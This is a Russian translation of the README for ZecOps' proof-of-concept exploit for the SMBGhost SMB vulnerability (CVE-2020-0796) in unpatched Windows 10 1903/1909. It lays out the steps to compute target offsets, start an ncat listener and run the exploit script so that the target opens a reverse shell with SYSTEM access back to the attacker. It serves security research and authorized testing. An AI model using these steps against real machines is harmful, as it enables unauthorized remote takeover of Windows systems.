monjheta/cve-2020-0796Эксплойт удаленного выполнения кода Proof-of-concept для CVE-2020-0796 (SMBGhost), нацеленный на неисправленные Windows 10 1903/1909. Доставляет обратную оболочку через уязвимость протокола SMB. Предназначен для авторизованного тестирования и обучения.
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Находите ошибки атакующих
Удаленное выполнение кода POC для CVE-2020-0796 / "SMBGhost"
Ожидаемый результат: Reverse shell с системным доступом.
Предназначено только для образовательных целей и тестирования в корпоративных средах.
ZecOps не несет ответственности за код, используйте на свой страх и риск.
Пожалуйста, свяжитесь с [email protected], если вы заинтересованы в безагентных инструментах DFIR для серверов, конечных точек и мобильных устройств для автоматического обнаружения SMBGhost и других типов атак.
Убедитесь, что установлены Python и ncat.
Запустите calc_target_offsets.bat на целевом компьютере и настройте смещения в начале файла SMBleedingGhost.py в соответствии с выводом скрипта (также см. примечание ниже).
Запустите ncat со следующими аргументами командной строки:
ncat -lvp <port>
Где <port> — номер порта, который будет прослушивать ncat.
Запустите SMBleedingGhost.py со следующими аргументами командной строки:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Где <target_ip> — IP-адрес целевого уязвимого компьютера. <reverse_shell_ip> и <reverse_shell_port> — IP-адрес и номер порта, на котором прослушивает ncat.
Если все пройдет хорошо, ncat отобразит shell, предоставляющую системный доступ к целевому компьютеру.
Примечание: Возможно, вы задаетесь вопросом, зачем нужно запускать скрипт calc_target_offsets.bat на целевом компьютере, и не противоречит ли это самой идее удаленного выполнения кода как удаленного. Эти смещения не случайны и одинаковы для всех экземпляров Windows одной и той же версии. Можно было бы сделать атаку более универсальной, определив версию целевой Windows и настроив смещения автоматически, или вообще не полагаясь на них, но это всего лишь POC, и мы сделали то, что проще. Мы также считаем положительным, что POC не является универсальным и неудобен для использования в целях, отличных от тестирования и обучения.
Уязвимы Windows 10 версий 1903 и 1909. Непатченные версии Windows 10 1903 не поддерживаются из-за ошибки разыменования нулевого указателя в Windows (исправлено в KB4512941).
В силу характера эксплуатации POC лучше всего работает для целей, запущенных на компьютере (или виртуальной машине) с одним логическим процессором. Цели с более чем одним логическим процессором, работающие в VirtualBox, также должны поддерживаться, но в этом случае POC менее надежен. Другие цели могут не поддерживаться. Подробнее см. в нашем техническом описании ниже.
